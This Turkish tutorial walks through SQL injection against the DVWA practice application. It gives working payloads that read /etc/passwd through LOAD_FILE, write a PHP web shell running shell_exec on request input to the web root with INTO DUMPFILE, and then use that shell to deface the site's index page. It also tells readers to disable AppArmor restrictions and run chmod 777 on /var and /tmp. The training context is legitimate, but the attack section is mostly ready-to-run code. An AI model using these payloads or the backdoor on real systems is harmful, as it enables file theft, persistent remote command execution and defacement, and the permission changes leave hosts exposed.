Ders 15 - SQL Injection (Low Level) II
Bu yazıda güvenlik düzeyi tıpkı bir önceki derste olduğu gibi Low Level iken DVWA'ya SQL Injection saldırısı uygulanacak ve bu seferkinde hassas dosyalara erişim, sayfa hack'leme gibi pratik uygulamalar yapılacaktır.

Dersin Hedefi

SQL Injection saldırısıyla hedef sistemin hassas dosyalarını okuyun ve hedef web uygulamasının (DVWA'nın) anasayfasını hack'leyin.

Uyarı

Bu yazıda SQL Injection'ın nasıl yapıldığına dair detaylı açıklama bulamayacaksınız. Çünkü daha önceki derste nasıl SQL Injection yapılırdan detaylı bir şekilde bahsedilmiştir. Bu nedenle bu yazıyı daha iyi özümseyebilmeniz için öncelikle şu linkteki SQL Injection'a giriş niteliğinde olan yazıyı okumanızı şiddetle öneririm.

SQL Injection ile Hassas Dosyalara Erişim

Geçen derste bildiğiniz üzere SQL Injection saldırısıyla admin kullanıcısının veritabanında saklı şifresini öğrenmiş ve ardından Hashcat adlı şifre kırma programıyla da şifrelenmiş şifreyi kırmıştık. Bu derste ise ilk olarak linux sistemlerinde hassas bir dosya olan /etc/passwd içeriğini okumaya çalışacağız. Daha önceki derste keşif çalışmaları sonrası elde edilen bilgiler bu derste tekrarlanmayacaktır. Direk özet niteliğindeki saldırı kodlarına yer verilecektir.

Ekrandaki metin kutusuna her biri bir aşamayı temsil eden aşağıdaki kodları girdiğimizi varsayalım.

99' or '1' = '1' #
99' or '1' = '1' ORDER BY 1 #
99' or '1' = '1' ORDER BY 2 #  
99' or '1' = '1' ORDER BY 3 #  
99' or '1' = '1' UNION Select 1,2 #
99' or '1' = '1' UNION Select null, LOAD_FILE('/etc/passwd') #


En son satırdaki kod bu başlığın istediği hassas dosyaya erişim kodudur. Ondan öncekiler ise keşif kodlarıdır. Konumuz gereği en son koda değinecek olursak görüldüğü üzere LOAD_FILE() fonksiyonu ile SQL sorgusu üzerinden SQL sorgusunun çalıştığı yerel sistemdeki bir dosyanın içeriği enjekte edilen sorgunun ikinci kolonuna değer olarak yüklenmiştir. Böylece sayfaya hassas dosyanın içeriği yansıtılır. Bunu birebir DVWA üzerinden deneyimlemek için LOAD_FILE()'ın yer aldığı enjeksiyon kodunu metin kutusuna girin:



Metin Kutusuna Girilecek Kod:
99' or '1' = '1' UNION Select null, LOAD_FILE('/etc/passwd') #



Çıktı:



Yukarıdaki resimden görebileceğiniz üzere sarı ile vurgulanan alan hassas bir dosya olan passwd dosyasının içeriğinin ekrana yansıtıldığını göstermektedir. passwd dosyası sistemdeki aktif kullanıcıların ve servislere ait kullanıcıların bir listesine ve bu kullanıcıların ait oldukları gruplar bilgisine sahiptir. Bu bilgilerin nesi hassas der gibisiniz? :) Bu bilgiler olası bir Brute Force saldırısı ya da Sözlük saldırısı durumunda saldırgana kullanıcı adını tahmin ettirerek zaman kaybettirmektense kullanıcı adı gibi değerli bir bilgiyi bilip ona has brute force saldırısı yapabilmesine, yani zaman kazanmasına fayda sağlar. Yani saldırganın elinde iki bilinmeyenli (username,password) bir denklem varken siz bunu tek bilinmeyenli bir denkleme düşürmüş olursunuz. Artık çözmek daha kolay olur değil mi? :) passwd dosyasındaki diğer önemli bilgiye gelecek olursak kullanıcıların ait oldukları grup bilgisi saldırgan için bir kilit taşıdır. Çünkü bir hesabın şifresi kırıldı mı o şifreyle sisteme sızıldığında o hesabın ait olduğu grup kadar sistemde yetkili olunabilir. Eğer yetkisi kısık bir hesap kırılmışsa sistemin derinliklerine sızılamaz, istenildiği gibi at oynatılamaz. Fakat root grubuna ait bir hesap kırılmışsa bu durumda her şey yapılabilir. Tıpkı hedef makinanın karşısında oturuyormuşçasına...



SQL Injection ile Sayfa Hack'lemek

SQL "INTO DUMPFILE" keyword'ü saldırganlar için velinimettir. Bu keyword SQL sorgusunun seçtiği kaydın değerini belirtilen dosyaya yazmaya yarar. Örnek kullanımı şu şekildedir:



Syntax'ı:
Select ........... INTO DUMPFILE 'dosyaninAdi';



Şimdi bu SQL syntax'ını kullanarak DVWA'da bir arka kapı oluşturalım. Böylece sistemde kalıcı olalım. Yani istediğimiz zaman sisteme girebilelim. Ardından arka kapı üzerinden sistemin anasayfasını hack'leyelim. Arka kapı dosyasına aşağıdaki kodlar içerik olacaktır:



backdoor.php:


<form action="" method="GET" encytype="application/x-www-form-urlencoded">
	<table style="margin-left:auto; margin-right:auto;">
		<tr>
			<td colspan="2">Lütfen bir sistem komutu girin</td>
		</tr>
		<tr><td></td></tr>
		<tr>
			<td>Komut</td>
			<td>
				<input type="text" name="pCommand" size="50"/>
			</td>
		</tr>
		<tr>
			<td></td>
		</tr>
		<tr>
			<td colspan="2" style="text-align:center;">
				<input type="submit" value="Komutu Çalıştır"/>
			</td>
		</tr>
	</table>
</form>
<?php 
	echo "
";
	echo shell_exec(@$_REQUEST["pCommand"]); 
	echo "
"; ?>


Bu kodları şimdi SQL sorgusuna koyabilmek için tek satır haline getirelim:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><form action="" method="GET" encytype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Lütfen sistem komutu girin</td></tr><tr><td></td></tr><tr><td>Command</td><td><input type="text" name="pCommand" size="50"/></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Komutu Çalıştır"/></td></tr></table></form><?php echo "<pre>";echo 	     shell_exec($_REQUEST["pCommand"]); echo "</pre>"; ?>


Ardından sayfadaki SQL sorgusuna enjeksiyon yapmamıza imkan veren UNION keyword'ü ile arkakapı oluşturan SQL sorgumuzu oluşturalım.



' UNION Select null, '...arkakapiKodlari...' INTO DUMPFILE 'backdoor.php' #



Bu ilave SQL sorgusuna yukarıdaki tek satıra indirgediğimiz arka kapı kodlarını ekleyelim:

' UNION Select null,'<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><form action="" method="GET" encytype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Lütfen sistem komutu girin</td></tr><tr><td></td></tr><tr><td>Command</td><td><input type="text" name="pCommand" size="50"/></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Komutu Çalıştır"/></td></tr></table></form><?php echo "<pre>";echo 	     shell_exec($_REQUEST["pCommand"]); echo "</pre>"; ?>' INTO DUMPFILE '/var/www/backdoor.php' #


Yukarıdaki enjeksiyon koduna dikkatli bakacak olursanız ilave SQL sorgusunda iki kolon vardır. Birisi null, diğeri ise arka kapının kodları. Bunun akabinde INTO DUMPFILE keyword'ü ile arka kapı kodları backdoor.php dosyasına yazdırılmaktadır. Bu oluşan backdoor.php dosyası enjekte ettiğiniz sayfanın dizininde yer alacaktır. Şimdi arka kapıdan sisteme giriş yapalım:

http://localhost/backdoor.php





Artık sisteme giriş yapmış bulunmaktasınız. Şimdi anasayfayı hack'leyelim. Metin kutusuna öncelikle ls komutunu girin:





Görüldüğü üzere index.php dosyası kuzu kuzu orada duruyor. Şimdi sayfayı hack'lemeden önce bir yedek alın. Çünkü ders bittiğinde eski haline getirmek isteyeceksiniz. Ardından aşağıdaki komutu metin kutusuna girin:



Girilecek Komut:
echo '

Hacked By Bla Bla


' > index.php




Komutu Çalıştır butonuna bastığınız takdirde siteyi hack'lemiş olursunuz. Şimdi anasayfaya gidin:

http://localhost/dvwa/





Ve evet, sayfa hack'lendi. Hack'lenen sayfada görüntülenmesi için sadece metin kullandık. Fakat resim ve video da kullanabilirdik. Bu tip içerikleri dahil etmek için metin kutusuna en son girilen koddaki echo komutundan sonra yer alan tırnak işaretleri arasına resmin veyahut videonun html kodları konulabilir.

Shell Oluşturma Sırasında Hata Alanlar

Eğer siz de can't create/write to file (errcode 13) hatasını aldıysanız yalnız değilsiniz. Uzun uğraşlar sonucu bu izin sorununu çözebildim. Fakat yaptıklarımı not etmediğim için denediklerimden hangisi bu işi çözdü bilemiyorum. O nedenle hatırladığım ölçüde tüm yaptıklarımı burada sizlerle paylaşıyorum:

Bir terminal açın ve aşağıdakileri sırasıyla girin:

sudo su
gedit /etc/apparmor.d/usr.sbin.mysqld


Ardından açılan not defterinden /data/ satırlarını bulun ve satırları aşağıdaki gibi yapın:

**/data/ r,
/data/* rw,** 


Ardından kaydedin ve gedit'i kapatın. Terminale tekrar dönün ve aşağıdakilerini sırasıyla girin:

/etc/init.d/apparmor reload
gedit /etc/apparmor.d/abstractions/user-tmp


Açılan gedit penceresine aşağıdaki satırları ekleyin (Eğer aşağıdakilerden zaten varsa aşağıdaki gibi güncelleyin):

owner /home/tmp/**    rwkl,
/home/tmp/            rw,


Son olarak aşağıdaki izinleri verin (Sisteminiz tam anlamıyla savunmasız olacaktır. Ona göre...):

chmod -R 1777 /tmp
chmod -R 777 /var
chmod -R 1777 /var/tmp


Tek yapmanız gereken sisteminizi kapatıp açmak ve işe yaramayan enjeksiyon kodunu tekrar DVWA'nın ekranındaki metin kutusuna girmektir. Böylelikle can't create/write to file (errcode 13) hatasını almayacaksınız http://localhost/dvwa/backdoor.php adresine giderek sisteme giriş yapabileceksiniz.

Yararlanılan Kaynak:

http://dev.mysql.com/doc/refman/5.7/en/select-into.html
Bu yazı 17.01.2016 tarihinde, saat 16:00:35'de yazılmıştır. 21.07.2017 tarihi ve 01:17:48 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3321
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :